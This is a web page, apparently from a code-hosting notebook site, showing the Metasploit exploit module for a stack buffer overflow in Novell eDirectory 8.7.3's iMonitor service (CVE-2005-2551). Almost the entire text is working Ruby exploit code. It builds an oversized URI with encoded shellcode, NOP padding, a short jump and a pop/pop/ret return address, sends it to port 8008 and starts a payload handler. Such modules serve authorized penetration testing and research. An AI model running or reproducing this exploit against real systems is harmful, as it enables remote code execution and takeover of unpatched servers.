Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/edirectory_imonitor.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port910include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(update_info(info,14'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in eDirectory 8.7.317iMonitor service. This vulnerability was discovered by Peter18Winter-Smith of NGSSoftware.1920NOTE: repeated exploitation attempts may cause eDirectory to crash. It does21not restart automatically in a default installation.22},23'Author' => [ 'Unknown', 'Matt Olney <scacynwrig[at]yahoo.com>' ],24'License' => BSD_LICENSE,25'References' =>26[27[ 'CVE', '2005-2551'],28[ 'OSVDB', '18703'],29[ 'BID', '14548'],30],31'Privileged' => true,32'DefaultOptions' =>33{34'EXITFUNC' => 'thread',35},36'Payload' =>37{38'Space' => 4150,39'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",40'StackAdjustment' => -3500,41},42'Platform' => 'win',43'Targets' =>44[45[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret46],47'DisclosureDate' => '2005-08-11',48'DefaultTarget' => 0))4950register_options(51[52Opt::RPORT(8008)53])54end5556def exploit57c = connect5859# pop/pop/ret in ndsimon.dlm on our jump to our shellcode60uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')61uri << "\xe9\xbd\xef\xff\xff"62uri << "B" * 0xD06364res = c.send_request(c.request_raw({ 'uri' => uri }))65select(nil,nil,nil,4)6667handler68disconnect69end70end717273